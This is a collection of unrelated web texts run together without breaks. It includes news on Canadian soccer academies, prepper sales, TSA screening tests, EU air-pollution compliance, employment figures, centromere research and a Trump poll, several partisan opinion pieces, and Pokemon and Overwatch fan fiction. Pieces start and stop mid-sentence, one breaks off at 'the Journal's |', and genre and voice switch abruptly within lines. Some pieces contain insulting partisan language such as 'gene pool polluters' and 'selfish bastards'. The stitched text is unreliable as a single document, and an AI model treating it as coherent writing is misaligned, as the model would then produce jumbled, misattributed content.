He goes on to add, "It is exciting... all three pro clubs are really taking a strong role in player development. (Canadian) youth programs are gaining traction on international level because of academies."
The next major opportunity to potentially see Canadian men's academy successes on an international level will come in January 2015 at the CONCACAF Under-20 Championship for qualification for the 2015 FIFA U-20 World Championships to be held in New Zealand.
Chapman admits success at the men's international senior level is still a ways out, "It is all new. It will take time on the senior side, international level, it will take a couple (World Cup) cycles to see the benefits."There may be a silver lining to that mushroom cloud of anxiety over Donald Trump. Business is booming for some local retailers who specialize in survivalist, or so-called “prepper,” supplies.
Water purification systems are one of Oshawa-based online business Survival Central’s best-selling items. ( Courtesy of Robert Studer )
Robert Studer, who runs the Oshawa-based online store Survival Central, estimates there’s been a 25 per cent increase in orders for items like generators and bulk freeze- dried food since November. The Trump bump is mostly for orders coming in from the U.S., but there are some new Canadian customers in the mix, Studer said. “There’s definitely a heightened sense of dread. The uncertainty is causing people to sit there and say, ‘OK, well what can I do for my family to prepare?’”
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There have been other signs that fears of a Trumpocalypse, whatever that might entail, are causing ripples of prepper-like behaviour across North America. Earlier this month, the Fort Worth Star-Telegram reported a spike in orders for solid-steel bomb shelters. Eric Pinkerton, who runs the online store Rapid Survival, said he’s definitely seen a jump in customers from the U.S., which he attributes “directly to Trump” and the low Canadian dollar. Pinkerton, who’s based in Orillia, sells everything from 72-hour survival kits to gas masks. Sales of radios and water-purification supplies have surged the most, he said. Toronto’s Eric Somerville, who runs a tongue-in-cheek Zombie Survival Camp for adults, has even seen more registrations this year.
He’s heard more than a few jokes that the camp needs a new name. “There’s been a few references to the Trump Presidency and whether or not we’ll rebrand as a Trump survival camp,” he said with a laugh.
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Overall, the uncertain times are also causing a shift in attitudes, Studer said. Preppers are less and less categorized as a fringe group consumed with building out underground bunkers. “It is becoming more mainstream, going back to our grandparent’s mentality where you have something just in case something goes wrong,” he said.
Read more about:Looks like the gene pool polluters are circling the wagons around Laci Green. (The former feminist who claims to have taken the red pill.)
Feeling personally slighted by Green’s decision to reach across ideological lines to engage with her former detractors and critics, they’ve taken to compiling a dossier on Green, releasing her private information, and engaging in a large-scale campaign of public harassment. The personal, as feminists say, is political.
Following news that Green, who is famous for her educational videos on sex positivity, was dating the anti-SJW YouTube personality, a dossier or “masterpost” compiled at least a year ago resurfaced on Tumblr this week. It has received over 7,000 shares and responses from outrage warriors with a huge slate of additions and updates. The dossier contains around a hundred complaints about Laci Green, based on statements and videos she made over the years—many of which are taken out of context or interpreted through the lens of outrage.One of the many startling results in Friday's unemployment report for June was how few American adults are currently employed. Even though the unemployment rate is technically 9.2%, the employment-population ratio fell to 58.2%, matching its recession low. But it might help to put this number into perspective: just how bad is it?
Here's the historical chart for the employment population ratio (green), with the unemployment rate also plotted (red) using the right axis:
Prior to this recession, the unemployment-population ratio hasn't been this low since 1983. At that time, it actually dropped all the way down to around 57%. But it didn't have as far to fall, having maxed out at just 60% in the years prior. Prior to the recent recession, the ratio was above 63%.
You can see that the employment-population ratio moves in opposition to the unemployment rate. But something strange has been happening this year. The strong inverse relationship isn't holding.
You can see this towards the end of the chart. In December, the unemployment rate began falling, but we haven't seen a corresponding increase in the employment-population ratio. In June it was at 58.2% while the unemployment rate was at 9.2%. But the other two times during this recession when the ratio was that low, the unemployment rate was 9.8% and 9.9%, in November 2010 and December 2009, respectively.US airport screenings failed to detect 70% of hidden weapons in tests
November 13, 2017 by Ian Allen
Attempts by undercover investigators to smuggle weapons, explosives and contraband aboard American passenger flights were successful between 70 and 80 percent of the time in the past year, according to reports. The results of the investigations were revealed in Congress behind closed doors on Wednesday of last week, prompting lawmakers to severely criticize the United States Transportation Security Administration (TSA). The TSA was founded in November 2001 in direct response to the tragic events of September 11 of that year. It is primarily concerned with air travel and is responsible for ensuring the safety of the traveling public across the US.
The TSA’s security systems in airports across America are regularly tested by undercover investigators, who are hired to examine and assess the effectiveness of these systems. Last week, several US news media reported that the latest round of tests showed that undercover investigators were more often than not able to sneak dangerous items onboard civilian aircraft. Smuggled items allegedly included guns, explosives and knives, which could be used to carry out hijackings similar to those that brought down four commercial airliners in New York, Washington and Pennsylvania on September 11, 2001. The precise rate of success of the recent tests has not been confirmed, because it has not been released to the public. ABC News said that the rate was close to 80 percent, while CBS reported that it was closer to 70 percent.
Remarkably, similar tests conducted in 2015 were successful 95 percent of the time, meaning that the TSA did considerably better in this year’s tests, despite its abysmally low rate of detection. On Wednesday, members of the US House of Representatives Committee on Homeland Security expressed serious concerns about the TSA’s lack of success. They aired their criticisms in the presence of Vice Admiral Peter Pekoske (ret.) who currently serves as the TSA’s Administrator. Some members of the committee also criticized the insistence of the White House on building a border wall instead of investing in air travel security. On Thursday, the TSA released a statement saying it took the results of the recent tests “very seriously” and that it was already taking active measures to “improve screening effectiveness at [airport] checkpoints” across America.
► Author: Ian Allen | Date: 13 November 2017 | Permalink | Research credit: C.F.
AdvertisementsAn Environmental and Social Justice Issue
There's no choice, you have to breathe the air around you. That's why air pollution is not only an environmental issue, but also a social justice cause. Forcing people to breathe pollutants that may make them sick is wrong any way you look at it. While a lot of progress has been made in the so-called developed countries in the past half century and power plants, vehicles, and factories all have to meet much stricter rules, a lot remains to be done (and in places like China, everything remains to be done).
The European Environment Agency (EEA) has released a report that looks at the compliance of various EU countries with the EU National Emission Ceilings (NEC) Directive, which regulates 4 main air pollutants: sulphur dioxide (SO2), nitrogen oxides (NOx), non-methane volatile organic compounds (NMVOCs) and ammonia (NH3). The table below shows which countries passed (a check mark) and failed (a "X") tests for each pollutant.
EEA/Public Domain EEA/Public Domain
12 countries fail in at least one category, while a few fail in more than one. Spain gets the worst grade, with 3 failed catgories, followed by Germany with 2.
NOx concentration is the most frequently failed category (11 times), and the EEA blames the transport sector for this (diesel engines are more popular in europe, and they have higher NOx emissions than gasoline engines):
The road transport sector is one of the main contributory factors behind the large number of NOx exceedances, contributing approximately 40 % of total EU-27 NOx emissions. Reductions of NOx from this sector over the last 2 decades have not been as large as originally anticipated. This is partly because the sector has grown more than expected and partly because vehicle emission standards have not always delivered the anticipated level of NOx reductions.
Via EEA, GCC
See also: "Just 15 of the world's biggest ships may now emit as much pollution as all the world's 760m cars"In his rookie season, Lance McCullers proved to vital piece to the Astros rotation. Going into Spring Training, he was locked in as one of the team's starting rotation. Those plans will have be revised as McCullers is dealing with shoulder soreness and is likely to miss the start of the season.
Hinch on McCullers: "It's becoming unlikely that he'll be breaking with our team healthy." — Julia Morales (@JuliaMorales) March 15, 2016
The soreness became public on Friday as a scheduled bullpen session was pushed back as reported by MLB.com's Brian McTaggart. McTaggart noted in the article:
Hinch said McCullers didn't feel as well as he would have liked after throwing on the side Friday, and that he would have his scheduled bullpen session pushed back a couple of days. Hinch said McCullers would be sent to see a team doctor.
An MRI exam on Saturday confirmed there was no damage as reported by the Houston Chronicle's Jose de Jesus Ortiz.
"The MRI came back 100 percent clean," (McCullers) said. "I'm fine. I'm just going to have to deal with the soreness day to day. There's no real timetable."
Astros general manager Jeff Luhnow said on Sunday there was no timetable for McCullers getting back up to speed.
"We want to give him a little bit of rest," said Luhnow. "We want to make sure he doesn't have any tightness."
So at the moment, it is not defcon one with Lance McCullers. But there are plenty of reasons to be cautious with the young righthander.
McCullers is feeling soreness after pitching 157 2/3 innings last season, over 50 more innings than he has thrown in his previous three seasons in pro baseball.
The Astros picked up starter Doug Fister for this exact reason. The question on who be the odd man out in the Astros rotation at the start of 2016 becomes irrelevant as Fister slots in for McCullers. The focus for McCullers can then be on being ready and healthy for a possible playoff push.Route 201
A dirt path is the first thing I taste waking up. I roll over onto my back, holding my face in pain. Whenever I fall, why do I keep landing on my face? My train of thought is interrupted by an annoying high pitched voice.
Hey there, guy! Are you OK?
- Ugh… where am I?
Route 201, we’re not far from Lake Verity.
- Lake Very? There’s over 200 routes here? So I’m not in Hoenn anymore?
Did you hit your head or something, guy? We’re in Sinnoh!
- Are you going to help me up or what?
Oh sorry!
The blonde kid gives me a hand in getting to my feet. I brush myself off and notice how my clothes are badly ripped and I find several twigs and leaves.
- Thanks, have you seen my bag around here?
No, sorry. I– oh!
A man and a girl are approaching from the lakefront.
Look guy, I’ll get you a new bag and some clothes too if you just play along!
- I, uh.. what?
Professor Rowan! So nice to see you again. About what we said earlier..
Barry… Like I said before, I don’t think you’ve got what it takes. Besides I need two trainers, I have three pokemon that need raising and so far I only have Dawn to take care of one.
Oh, wow really? I haven’t even picked yet!
But that’s why I’m here! I brought my good friend… er…
- Caldar.
My good friend Caldar here!
Oh? He certainly looks well travelled. Tell me, Caldar, have you got what it takes?
- Well I’m not sure exactly what you need us to do but I’ve defeated the champion at the Indigo Plateau three times, defeated the champion at Ever Grande City, and defeated the bosses of three criminal organisations.
WHAT?! Er… I mean yeah, my friend here has just gotten back from.. Hoenn..
If you’re such a hotshot trainer, where are your pokemon?
I reach for my belt but I immediately remember where I left my pokemon.
- They were taken from me and I don’t know where they are now… If you’re really handing out pokemon for us to raise, then please let me at least borrow one! I have an idea where I might find some information about my lost pokemon, but I need a pokemon to get there.
I turn to Barry.
- Sinnu has a pokemon league, right?
Sinnoh, and yes.
I turn back to Rowan.
- I’m sure the person responsible will want to be close to the local pokemon league HQ, maybe in the Hall of Fame.
Hmm, alright then. Dawn, my briefcase, please.
Here.
Rowan opens the briefcase to reveal three pokeballs.
"Champion" Caldar, why don’t you take first pick?
I grab the first pokeball. Barry snatches the next.
I was hoping to get this one!
Oh boy, oh boy!
- Hmm.
Why don’t you get to know your new pokemon? I’ll be at my lab in Sandgem Town, come see me for the next part of my research when you’re done.
Rowan and Dawn walk off to the east.
Hey! Oh wow! Thanks so much! Let’s have a battle!
Meanwhile at Lake Verity…
I’m sure I calibrated this thing properly… I finally get a hit and I can’t pinpoint it…
It seems I underestimated the behaviour of time distortions. Back to the drawing board…
I will find you! You can’t hide forever! Remember my name, Cyrus, you will give me what I want!
Back at Route 201…
Aww man, did I pick the wrong pokemon?
- Don’t worry, with some training it’ll become really strong.
Well a deal’s a deal, let’s get you some new duds!
Sandgem Town
- Are you sure this is the style people wear around here?
Sure it is! At least it’s better than the 80’s rejects you were wearing.
- Well you’re not wrong there I guess…
What’s with that hat? I thought it was your hair!
- Well, thanks for the new clothes, I’m going to look around some more.
I’m going to Lake Verity to catch the legendary pokemon!
- That’s nice… um, they accept PokeDollars here, right?
Sure they do! OH! I need to get some pokeballs! I wonder if the professor will give me some.
Barry rushes out of the store, clearly he didn’t know this place is a pokemart that sells pokeballs too.
I look around for clues that could tell me where exactly I am. I’m probably not in the past, or not any further back than I was in Hoenn at least. Or this region could just have better technology, maybe.
- By Arceus… I'm this far ahead?!
I find a helpful magazine that narrows it down somewhat.
- Published in 2031… and it’s on the new releases shelf…
I buy the magazine along with some pokeballs, put it into my jacket pocket and walk over to the professor’s lab.
Ah, you’re here! Barry was here a moment ago, I gave him some pokeballs and he ran off to Route 202.
- So what’s this research you’re doing?
Oh, well it’s simple, I’d like to see how your pokemon grow in a varied environment. What better way to vary an environment than a pokemon jounrney!
Also, I would like you to record any interesting finds you might see in the wild. There’s always something new to find. So I’m giving you a pokede–
- OH! Uhh, I mean I already have one. The battery’s flat though, could you help me out?
Wow I’ve not seen one of those for years! Aww it’s all beaten up… Well you’re in luck, I’ve got a brand new one here!
- I’d much rather keep this one, if you don’t mind…
Oh.. fine, it should work fine… Let me have a look here…
Rowan opens the back of Dex’s case and has a look at the battery.
Oh dear, no wonder the battery’s flat! It expired 15 years ago!
He walks over to one of his workbenches and opens a drawer from under it, takes out a weird looking nine-volt battery. It’s matte black and has no brand markings on it. Rowan places the battery into the slot and closes Dex’s case.
There, it should last another two years before you’ll need to recharge it. Let’s just switch it on here, and…
WHYYYY!? FOR THE LOVE OF ARCEUS WHY DO I ALMOST DIE EVERY TIME WE MAKE A JUMP!?
- Oh! Uhh.. the talking… I can explain…
Explain what?
- You’re not weirded out by a talking pokedex?
Well it is unusual for this model to talk, I see it’s had a modification.
You didn’t know all pokedexes speak? Here, say hello.
Hey, how’s it goin’?
Who’s this jerk?
Cool it, gramps. I’m surprised this kid would even want a clunky old pocket calculator for his pokedex!
At least I was built to last! You look like you’ll shatter just from falling out of that little girl’s pocket!
Oh yeah? Well what’s 2 + 2?
Screw you!
Right… so Caldar, have you taken a liking to that pokemon?
- He seems to be a real contender!
What is it?
- Have a look.
Turtwig: So.. it’s a turtle with a twig on it’s head?
Pfffahahaha!
Shut up!
- Welcome to the team, Sinclair!
Sinclair ♂ Lv. 6
So what’s your first step going to be, Caldar?
- Barry said something about a legendary pokemon at the lake. I’m going to check it out.
Lake Verity
With all the trees surrounding the lake I can only see a small patch of tall grass and no way to get to the island at the middle of the lake.
Well let’s see who we can catch here, a bidoof? Pokeball go!
Bidoof: It’s.. it’s a… rattata in need of a diet?
- Welcome to the team, Zathras.
Zathras ♂ Lv. 2
With no sign of Barry I decide to head back to Sandgem. On my was I’m stopped by a woman who says she’s Barry’s mother and she asks me to pass on a parcel to him when I next see him.
I remembered the professor said Barry went to route 202 and so I make chase.
Route 202
Another chance to recruit so soon? OK then, a shinx. Pokeball go!
Shinx: An electric cat… dog… thing.
- Welcome to the team, Ivanova!
Ivanova ♀ Lv. 3
- I wonder where the gyms are in Sinnoh…Vodpod videos no longer available.
Katie Couric is launching a new online interview series, called @katiecouric, this week, and her first subject is a pretty big get, at least if you believe what you read in TIME magazine: Glenn Beck. (Fun fact: Back and Couric have the same publicist. Because he just despises the MSM’s bias, not their professional assistants.)
In an online excerpt, Couric throws some political names at Beck, and “Hillary Clinton” elicits an interesting response, above. Interesting, but maybe not surprising.
People tend to lump TV opinion hosts—and anybody else with an opinion about politics—under either “liberal” or “conservative.” People thus call Beck a conservative talker, and he’s even used the label for himself. It’s true insofar as it goes, but it also goes to show how inadequate and limiting our language for describing politics is.
The fact is, there are numerous subgroups within “liberal” and “conservative,” and some of the liberal subgroups have more in common with come conservative subgroups than with other liberals; the same is true in reverse. In a column I wrote earlier this year about Glenn Beck, I made a point—then, I think, deleted it for space—about how calling Fox News a “conservative” opinion haven is true but insufficient.
Fox News, I wrote, is like the bar in The Blues Brothers that has “both kinds of music: country and western.” That is, it does so well in part because it brings under one umbrella several different kinds of conservative. There’s Neil Cavuto’s Wall Street, big-business conservatism, Mike Huckabee’s religious conservatism, Sean Hannity’s party-line Republicanism, Bill O’Reilly’s grouchy reactionariness—and now, touching a hot-button in the year of budget stimuli, Glenn Beck’s conservative (and paranoid) libertarianism.
You can argue whether all those labels are accurate or whether those hosts are consistent in their values, but the point is, these can be very different beliefs when it comes to issues like bank bailouts or foreign policy. “Liberal” and “conservative” imply that there is a single axis on which American politics is plotted, and all that needs to be done is to figure out where any given person lies on that line. But there are a lot of axes: authoritarian vs. libertarian, internationalist vs. nationalist, activist vs. laissez-faire, individualist vs. communitarian, moralist vs. nonjudgmental, social libertarian vs. economic libertarian, and so on.
To someone like Beck, with his get-government-out-of-the-way refrain, a President who believes in government doing a lot, vigorously, is bad, period. You can argue whether that’s really an accurate description of McCain, but as Beck says, it is an accurate description of McCain’s idol Teddy Roosevelt. The fact that anyone would reflexively assume that Glenn Beck and John McCain would be simpatico only shows how weak and inaccurate “liberal” and “conservative” are as labels and how much nuance we lose with them.
And yes, I did just use “Glenn Beck” and “nuance” in the same sentence. Have at me in the comments.Just so we’re clear on everything, it’s sound policy to take food from the poor even though this is the worst recession since the Great Depression and it’s common sense to give tax breaks to the wealthiest Americans even though the income disparity is higher than during the Robber Barron years. Am I really hearing that correctly? What selfish bastards. People like Gingrich are the ones who are destroying America and making it a selfish society. Newsweek:
Say what you will about Newt Gingrich, but the man’s record includes the Herculean comeback of Republicans in 1994, thanks partly to the “Contract With America.” That’s why leading Republicans and GOP candidates are looking to Gingrich as the quarterback for the 2010 campaign. So what’s he advising they do?
Vilify food stamps. Gingrich more than most people knows that Washington tends to lock itself in intensely wonkish policy squabbles–need one say more than “budget reconciliation”?–that simply don’t resonate with the rest of the country. So to make it simple, Gingrich and his political action committee are sending a “close the deal” memo to Republican candidates, spelling it out in über-simple terms. What do you want more of: paychecks or food stamps?S o here’s the latest o here’s the latest big “collusion” story that has been, er, broken by the Wall Street Journal.
About ten days before he died in mid-May, an 81-year-old man who did not work for the Trump campaign told the Journal he had speculated that, but did not know whether, 33,000 of Hillary Clinton’s e-mails had been hacked from her homebrew server. The now-deceased man, “a longtime Republican opposition researcher” named Peter W. Smith, had theorized that the e-mails must have been stolen, “likely by Russian hackers.” But he had no idea if this was actually so, and he himself certainly had nothing to do with stealing them.
Smith’s desire to obtain the hacked emails, if there were any, peaked around Labor Day 2016 — i.e., during the last weeks of the campaign. This was many months after the FBI had taken physical custody of Clinton’s homebrew server and other devices containing her e-mails. It was also two months after the Bureau’s then-director, James Comey, had told the country that the FBI had found no evidence that Clinton had been hacked... but that her carelessness about communications security, coupled with the proficiency of hackers in avoiding detection, meant her e-mails could well have been compromised throughout her years as secretary of state.
In other words, Peter W. Smith was one of about 320 million people in the United States who figured that Clinton’s e-mails had been hacked — by Russia, China, Iran, ISIS, the NSA, the latest iteration of “Guccifer,” and maybe even that nerdy kid down at Starbucks with “Feel the Bern” stickers on his laptop.
Besides having no relationship with Trump, Smith also had no relationship with the Russian regime. Besides not knowing whether the Clinton e-mails were actually hacked, he also had no idea whether the Kremlin or anyone close to Vladimir Putin had obtained the e-mails. In short, he wouldn’t have been able to tell you whether Trump and Putin were colluding with each other because he wasn’t colluding with either one of them.
But — here comes the blockbuster info — Smith was colluding with Michael Flynn. Or at least he kinda, sorta was... except for, you know, the Journal’s |
the Attribution 4.0 International license. University University of Michigan
A new technique could give scientists access to the “final frontier” of our DNA—the centromere.
It’s in nearly every one of our cells, at the center of every X-shaped chromosome, and it plays a crucial role in the everyday cell division that keeps us healthy. Which also makes it a key suspect in birth defects, cancers, and other diseases that arise from cell division problems.
“With this technique, we and others can study their genetics, and epigenetics, in a real-time, user-friendly way.”
Already, the first test of the approach has yielded clues about the role of centromeres in Down syndrome, which arises when a child inherits an extra copy of chromosome 21.
Soon, the technique’s developers at the University of Michigan Medical School hope it will accelerate research on other conditions that may have roots in centromere-related problems.
“We now have the opportunity to understand the dynamics of centromeres, and how these sequences expand or contract during evolution and/or disease processes,” says Rafael Contreras-Galindo, lead author of the new paper and an assistant professor of internal medicine.
“We can now understand at which centromeres in specific chromosomes key centromere proteins sit and form the kinetochores that are vital to cell division. With these studies, we can begin to understand how centromere DNA instability could affect centromere function, as we appear to see in Down syndrome.”
Faster genetic analysis
In a new paper in Genome Research, the researchers describe the technique they developed and its first test. In essence, it changes the analysis of centromere DNA from a long, labor-intensive task to a fast and relatively easy one that can accelerate research on centromere-related diseases.
“Centromeres are important for cell division, but poorly understood from a genetic standpoint…”
Their approach is based on the discovery of unique DNA repetition patterns found in the centromere of nearly every chromosome. Their new catalog of these chromosome-specific patterns makes it possible to use a DNA-amplifying tool called polymerase chain reaction, or PCR.
The massive repeated sections of DNA that make up most of every centromere have made the structures hard to sequence and study in the past because the same long stretches appear on every chromosome.
So most centromere researchers have studied the proteins and other molecules that interact with centromeres—factors referred to as epigenetics—rather than the DNA itself.
But the new approach harnesses small chromosome-specific variations and uses them as PCR primers. This makes it fast and easy for researchers to recognize the centromeres of almost every chromosome in a cell, and tell them apart, in just half an hour.
“Centromeres are important for cell division, but poorly understood from a genetic standpoint because the DNA sequences in them are very repetitive,” says David Markovitz, senior author of the new paper and a professor of internal medicine. “With this technique, we and others can study their genetics, and epigenetics, in a real-time, user-friendly way.”
Down syndrome insights
In the new paper, Contreras-Galindo, Markovitz, active emeritus professor Mark Kaplan, and a team of collaborators report results from their comparison of centromeres from individuals with and without Down syndrome.
They show a strong link between the condition and instabilities found on chromosome 21—both in the centromere and in the stretches of DNA that flank it, called pericentromeres.
Unstable centromeres and pericentromeres could help explain why people with Down syndrome inherit an extra copy of that chromosome, though much work remains to test this hypothesis.
After all, as every biology student learns, cells preparing to divide rely on centromeres to help divide up the double amount of DNA they’ve produced, and distribute it to the two “daughter” cells they will produce. To do this, the cells grow long, skinny structures called spindles that look like spider legs, and attach to one centromere of each chromosome, which is made up of two identical stretches of DNA.
The spindles retract as the cell divides, plucking the two halves of a chromosome apart. If the plucking doesn’t happen correctly because of a centromere-related issue, that could cause both halves of the chromosome to travel together into the “daughter” cell.
In the new study, people with Down syndrome also differed from those without the condition in their levels of a key protein that binds to centromere DNA and helps form the structure that the spindles attach to. People with Down syndrome had much less of that one protein attached to their centromeres, compared to those without the condition.
Virus DNA
The researchers didn’t set out to study centromeres. They originally wanted to learn more about hidden virus DNA that has become embedded in our genome over centuries.
These human endogenous retroviruses, or HERVs, have given us stretches of DNA that get copied and handed down from generation to generation.
The team had previously found unknown HERV RNA in the blood of patients with HIV/AIDS. Over time, they discovered HERV DNA near the edges of the centromere region of certain chromosomes. They dubbed the viruses K111 and K222.
The HERV sequences weren’t in the Human Genome Project database because they’re in the centromere region. But the researchers and their colleagues showed that the same HERVs could also be found in other higher primates, including chimpanzees and Neanderthals.
But while these human relatives have a few copies, we humans have thousands of copies of the HERV DNA near our centromeres—and on many of our chromosomes. K111, for instance, could be found on 15 chromosomes’ centromeres, slightly altered in each one. This suggests that centromeres over time have had genetic material “cross over” to other chromosomes.
Using the HERV sequences as an anchor point to study centromere DNA, the team used PCR of so-called alpha-repeat sequences to more fully analyze nearly all human centromeres.
The new paper includes their results from 23 of the 24 different human chromosomes—including the X and Y. Only chromosome 19 has so far resisted the development of a diagnostic PCR assay, as the researchers search for sequences unique to it.
Funding came from the National Institutes of Health, as well as from the Concerned Parents for AIDS Research and the University of Michigan. The university has applied for a patent on the approach.
Source: University of MichiganHard Facts
A Stunning Statistic About China and Concrete
This month I reviewed a book about materials by my favorite author, Vaclav Smil. If you remember just one thing from the review, it would probably be this infographic, which captures what Smil calls the most stunning statistic in his book:
One of the big problems with putting down so much concrete is that it deteriorates. In the coming decades, the United States and China alone will need to spend trillions of dollars replacing and disposing of concrete laid down in the past generation. There are also environmental problems, including all the carbon dioxide that’s released during production.
But it’s important to remember concrete’s benefits too. Smil cites studies that say replacing mud floors with concrete floors in the world’s poorest homes would improve sanitation and cut the incidence of parasitic diseases by nearly 80 percent. Paving streets, he says, “boosts land and rental values, school enrollment, and overall economic activity and also improves access to credit.”
I am optimistic that innovation can help reduce the downsides of concrete. For example, mini-sensors embedded inside it could alert engineers when it needs to be replaced. And researchers are developing new materials that would cut down on our need for concrete in the first place.
So concrete is a complex topic, and as usual Smil does a great job educating you about it.According to several recent polls, President-elect Donald Trump enters the presidency with public opinion more against him than any incoming administration in decades. | Getty Poll: Trump's favorable rating sits at 34 percent
With less than a week to go before he takes office, only 34 percent of Americans view Donald Trump favorably, compared to 46 percent who have a negative opinion of him, according to a Monmouth University poll released Tuesday.
President Barack Obama, meanwhile, has a 56 percent approval rating, compared to 38 percent of people surveyed who say they disapprove of him.
Story Continued Below
According to several recent polls, Trump, whose inauguration is Friday, enters the presidency with public opinion more against him than any incoming administration in decades. His numbers now are about the same as they were around the election, when he was similarly unpopular.
The new Monmouth survey, conducted between Jan. 12 and Jan. 15, found that Americans are split on the president-elect’s policies and how he will change the country.
Twenty-six percent of respondents told Monmouth that they expect Trump to help the middle class a lot, and 40 percent say his tenure will help the middle class a little. Twenty-nine percent do not think he will help the middle class at all. White Americans were more likely to say they think Trump will have a positive impact on the middle-class than non-white Americans.
Fifty-five percent of Americans surveyed say they think Trump will help the wealthy a lot, and 54 percent think he will help Wall Street bankers a lot.
The same proportion of those surveyed, 48 percent, said they are concerned with Trump’s attitude toward Russia as unconcerned.
At least one group is doing worse than Trump in the minds of the public, according to Monmouth: Congress, of which just 23 percent of respondents approve. Sixty-six percent of those polled said they disapprove of it.
In another frequently cited metric in describing public opinion, 29 percent of respondents told Monmouth that the country is headed in the right direction, and 65 percent said they believe that it is on the wrong track.
The poll had a sample size of 801 adults and a margin of error of plus or minus 3.5 percentage points.The Talk
A Widowtracer Overwatch story by Asylumchild
Overwatch and all characters within are trademarks of Blizzard Entertainment. This is a work of fan fiction and is intended for entertainment purposes only. No copyright violations are intentional. All people, places, and situations are completely fictional and no relation to anyone real living or deceased.
Author's Note: The first two chapters of this story will give you a swift, hard kick in the feels. Just grab a tissue, dry your eyes, and keep reading. It gets better, I promise! - AC.
The world could use more heroes, but sometimes, being a hero has a high price to pay to save the day. The unsung heroes of Overwatch have fought many wars, seen defeat, seen battle and death, and experienced things that put their minds, bodies, and hearts to the limits. Sometimes, one has to wonder if it is all worth it in the end.
1
Lena and Emily's flat, London, England.
It was getting late. She hadn't made it home in time for supper and Emily wondered if it was to be another night of waiting while it got cold. After a few hours, she ate a portion of her own and, with still no Lena in sight, packed up the remaining dishes to put in the ice box for leftovers. She could always reheat it later if she got hungry. If she ever got home, that is.
As she packed away the lukewarm food, Emily began to worry. It seemed it was like this more often than not lately. She knew Lena Oxton was also the infamous Tracer of Overwatch. She also knew that Overwatch was disbanded and any of their acts, no matter how heroic in nature, were deemed illegal. She accepted that her girlfriend and live-in lover was a vigilante. She wondered what the perky girl had gotten herself into this time.
As she made her way to the sofa cradling a hot cup of cocoa (something she wanted to share with Lena who was MIA), her eyes fell to the cellphone sitting on the coffee table silent and forlorn. Emily could relate. It wasn't like she could call her and see if she was going to make it home anytime soon. She could be out doing God-knows-what God-knows-where and would probably not be in a good position to receive a call or a text.
Emily sighed as she sat down and thought about what Lena would say if she did answer. Probably something like "Sorry, Love, I'm kinda … in a gun fight right now. Be home soon I hope." Then there would be an explosion or some other crazy thing and she'd say "um, Emily, let me call you back … I love you."
Emily shook her head as the crazy thought came and went. Like that would happen. Her mind whirled with all sorts of possibilities, some more unpleasant than others. What if there was an explosion and she was in the middle of it. What if she were out fighting someone like that Widowmaker person she was always talking about and the assassin had hurt her. What if she were dead. Emily felt herself grow cold at that last thought. The creeping feeling up her spine made her physically shiver and the cocoa felt really hot in her hands as her skin turned clammy.
No, Emily, told herself, you are worrying over nothing. Lena is a capable pilot and soldier and, as Tracer, she is renowned for her skills in battle. You are overthinking this.
But the feelings didn't go away. She sat down the mug of cocoa, not enjoying the chocolaty goodness against the lump in her throat and the sickening feeling in the pit of her stomach. She looked at the phone, still dead and silent, and wondered if her lover were somewhere in the same way. Something wet dripped onto her hand, startling her from her morbid thoughts. It took her a moment to realize it was tears she didn't even know she was crying.
She wiped her eyes but it did no good. She cried freely now, squeezing her eyes shut and praying that Lena was safe. Praying with all her heart that Lena was coming home, safe and sound. The last time she had gone off, she had just gone to hear a speech from Tekhartha Mondatta and ended up disappearing for two days. She had run across Widowmaker who almost killed her and broke her coronal accelerator. That scared Emily the most. Not only could Lena have died, but being lost to time and space seemed like a more horrible fate than death. The tears came harder then as well as deep sobs.
She tried to calm herself. She told herself she was being ridiculous. Lena was alright. She would be. She had to be. Emily snatched up the cellphone but stopped herself short of texting. Lena did not need a frightened, silly girlfriend furiously texting her if she were in a tight spot. What if she were hiding and suddenly her phone buzzed or rang and gave away her position? Emily could end up getting her killed. She couldn't live with that guilt.
A troubling thought came upon her and she rose from the sofa as it formed into a very real, very solid, concern. What if she couldn't live like this anymore? She loved Lena. The crazy girl was so bubbly, adorable, and amazing in bed, but she was also a superhero of sorts. She couldn't ask Lena to give up helping people, fighting the good fight, or doing all she could to be there for those who needed her.
But she's not here for me, Emily thought gloomily. And I need her. Is it so selfish of me to want her to be there for me and only me? Am I so petty and jealous of the whole world?
She shouldn't feel this way, she thought. She should be proud of Lena for standing up for what is right even if it was frowned upon by other nations of the world and law enforcement. She looked out the wide window into the cold night and snow, and silently prayed again that Lena was safe.
Emily shook her head and sat back down on the sofa with a huff. She was not going to think about this. This line of thought wasn't healthy and wasn't doing any good. She wiped her tears away and put on a calmer demeanor as she grabbed the remote from the chair arm and flipped on the flat screen television. The picture came up in sharp color and sound immediately showing a fire caused by an explosion at some Omnics facility. The newscaster said that if seemed like a terrorist attack but nothing had been confirmed. It was then that the building exploded again, causing the man with the gray suit and blond comb-over to curse and duck. After a moment, he and the cameraman ran a few meters behind arriving firefighter vehicles before continuing his live report.
Emily flipped the channel and another news cast showed the fire from another angle with the words BREAKING NEWS flashing in a marquee at the bottom of the screen. She clicked to another channel and then another but only saw emergency reports and either newscasters out in the field on location, or discussing the possibility of a terrorist attack with a panel in a studio. She turned the television off and grabbed the cellphone before thinking another thought.
Her thumbs flicked over illuminated digital keys as she sent a frantic and frightened text to Lena. Please tell me you are alright, she typed and pressed SEND. Tears escaped her eyes as she watched the screen of the messenger app with wide eyes. Her words hung there on the screen and she tried to breathe. Finally, the screen turned dark from the screen saver and Emily sobbed. No reply had come.
Somewhere in Brentwood, England
Lena was still sore but no longer bleeding thanks to Mercy. The mission took a rough turn when the bombs started going off. Luckily, the team was able to get out of the facility before the whole thing went down in a fiery heap. Pharah had taken the worst of it. Thanks to her armor, she was relatively unharmed but that didn't stop Mercy from fretting over her. Lena wondered who worried about Fareeha more: Angela or Pharah's mother, Ana.
The punks who caused all the trouble were an anti-Omnics gang of ragtag thugs and young kids hardly old enough for college much less handling the plastic explosives and weapons. They weren't Talon, but they sure caused a mess all the same. The strike team had only managed to subdue four of the crazed gang bangers before one of their friends decided to try and make a martyr of himself. The team didn't know how many, or if any, others had gotten out as they had with the four prisoners in tow. With law enforcement no doubt on their way, Mercy, Pharah, Tracer, and Reinhardt left the troublemakers they had managed to grab and left them at a safe distance from the fires to be picked up anonymously by the cops.
They fled the scene as fast as they could, seeking shelter to tend to any wounds and reached an Overwatch safe house a few kilometers from ground zero of the attack. Mercy was closing up a particularly nasty cut on Lena's leg when a buzzing was heard. Lena dug a cellphone out of her jacket pocket.
"Did you remember to charge that thing?" Angela teased Lena.
"No," Lena sighed. "I wasn't counting on taking this little detour on my way home. Didn't have the chance."
